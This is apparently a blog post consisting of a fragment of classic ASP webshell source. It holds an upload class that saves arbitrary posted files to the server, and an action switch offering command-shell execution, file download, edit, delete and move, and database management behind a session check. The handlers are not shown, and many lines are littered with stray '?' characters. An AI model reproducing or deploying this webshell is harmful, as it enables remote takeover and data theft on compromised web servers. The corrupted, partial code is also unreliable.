<%   Dim T1   Class UPC   ? Dim D1,D2   ? Public Function Form(F)   ? F=lcase(F)   ? If D1.exists(F) then:Form=D1(F):else:Form="":end if   ? End Function   ? Public Function UA(F)   ? F=lcase(F)   ? If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if   ? End Function   ? Private Sub Class_Initialize   ? Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName   ? set D1=Server.CreateObject("Scripting.Dictionary")   ?if Request.TotalBytes<1 then Exit Sub   ? set T1=Server.CreateObject("Adodb.Stream")   ?T1.Type=1 : T1.Mode=3 : T1.Open   ? T1.Write? Request.BinaryRead(Request.TotalBytes)   ? T1.Position=0 : TDa=T1.Read : DStart=1   ? DEnd=LenB(TDa)   ? set D2=Server.CreateObject("Scripting.Dictionary")   ?vbCrlf=chrB(13) & chrB(10)   ? set T2=Server.CreateObject("Adodb.Stream")   ? TSt=MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)   ? TLen=LenB (TSt)   ? DStart=DStart+TLen+1   ? while (DStart + 10) < DEnd   ? DIEnd=InStrB(DStart,TDa,vbCrlf & vbCrlf)+3   ? T2.Type=1 : T2.Mode=3 : T2.Open   ? T1.Position=DStart   ? T1.CopyTo T2,DIEnd-DStart   ? T2.Position=0 : T2.Type=2 : T2.Charset="gb2312"   ? TIn=T2.ReadText : T2.Close   ? DStart=InStrB(DIEnd,TDa,TSt)   ? FStart=InStr(22,TIn,"name=""",1)+6   ? FEnd=InStr(FStart,TIn,"""",1)   ? UpName=lcase(Mid (TIn,FStart,FEnd-FStart))   ? if InStr (45,TIn,"filename=""",1) > 0 then

  ? set TFL=new FIF

  ? FStart=InStr(FEnd,TIn,"filename=""",1)+10

  ? FEnd=InStr(FStart,TIn,"""",1)

  ? FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14

  ? FEnd=InStr(FStart,TIn,vbCr)

  ? TFL.FileStart=DIEnd

  ? TFL.FileSize=DStart -DIEnd -3

  ? if not D2.Exists(UpName) then

  ? D2.add UpName,TFL

  ? end if

  ? else

  ? T2.Type=1 : T2.Mode=3 : T2.Open

  ? T1.Position=DIEnd : T1.CopyTo T2,DStart-DIEnd-3

  ? T2.Position=0 : T2.Type=2

  ? T2.Charset="gb2312"

  ? SFV=T2.ReadText

  ? T2.Close

  ? if D1.Exists(UpName) then

  ? D1(UpName)=D1(UpName)&", "&SFV

  ? else

  ? D1.Add UpName,SFV

  ? end if

  ? end if

  ? DStart=DStart+TLen+1

  ? wend

  ? TDa=""

  ? set T2=nothing

  ? End Sub

  ?

  ? Private Sub Class_Terminate

  ? if Request.TotalBytes>0 then

  ? D1.RemoveAll:D2.RemoveAll

  ? set D1=nothing:set D2=nothing

  ? T1.Close:set T1=nothing

  ? end if

  ? End Sub

  End Class

  Class FIF

  dim FileSize,FileStart

  ? Private Sub Class_Initialize

  ? FileSize=0

  ? FileStart=0

  ? End Sub

  ?

  ? Public function SaveAs(F)

  ? dim T3

  ? SaveAs=true

  ? if trim(F)="" or FileStart=0 then exit function

  ? set T3=CreateObject("Adodb.Stream")

   T3.Mode=3 : T3.Type=1 : T3.Open

   T1.position=FileStart

   T1.copyto T3,FileSize

   T3.SaveToFile F,2

   T3.Close

   set T3=nothing

   SaveAs=false

   end function

  End Class

  Select Case Action

  ? Case "MainMenu":MainMenu():ShowErr()

  ?

  ? Case "ShowFile":ShowFile(Session("FolderPath"))

  ? Case "DownFile":DownFile FName:ShowErr()

  ? Case "DelFile":DelFile FName:ShowErr()

  ? Case "EditFile":EditFile FName:ShowErr()

  ? Case "CopyFile":CopyFile FName:ShowErr()

  ? Case "MoveFile":MoveFile FName:ShowErr()

  ? Case "DelFolder":DelFolder FName:ShowErr()

  ? Case "CopyFolder":CopyFolder FName:ShowErr()

  ? Case "MoveFolder":MoveFolder FName:ShowErr()

  ? Case "NewFolder":NewFolder FName:ShowErr()

  ? Case "UpFile":UpFile()

  ? Case "Logout":Session.Contents.Remove("GXGL"):Response.Redirect URL

  ? Case "CmdShell":CmdShell():ShowErr()

  ? Case "CreateMdb":CreateMdb FName:ShowErr()

  ? Case "CompactMdb":CompactMdb FName:ShowErr()

  ? Case "DbManager":DbManager():ShowErr()

  ? Case Else MainForm()

  End Select

  %>

  

 
目前共有0条评论
  • 暂无Trackback
你目前的身份是游客,评论请输入昵称和电邮!